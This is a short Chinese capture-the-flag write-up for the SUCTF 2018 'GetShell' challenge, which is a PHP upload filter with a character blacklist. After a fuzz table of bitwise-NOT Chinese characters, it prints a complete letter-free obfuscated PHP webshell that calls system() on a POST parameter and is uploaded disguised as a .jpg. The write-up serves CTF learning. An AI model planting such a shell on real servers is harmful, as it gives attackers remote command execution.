[SUCTF 2018]GetShell

题目

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

截取题目

有文件包含功能，包含我们上传的文件，那如果我们写入shell，那么我们的shell文件将被包含，从而我们可以执行命令。但是，这里对文件内容做了一定的过滤，所以我们需要知道都过滤了什么，什么没有过滤，这里用python写个小字典fuzz一下，下面是我用bpfuzz的结果

echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a

<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);

将payload写入，然后上传1.jpg即可

env 是一个外部命令，程序文件/bin/env，列出所有环境变量及其赋值。

文件中找不到flag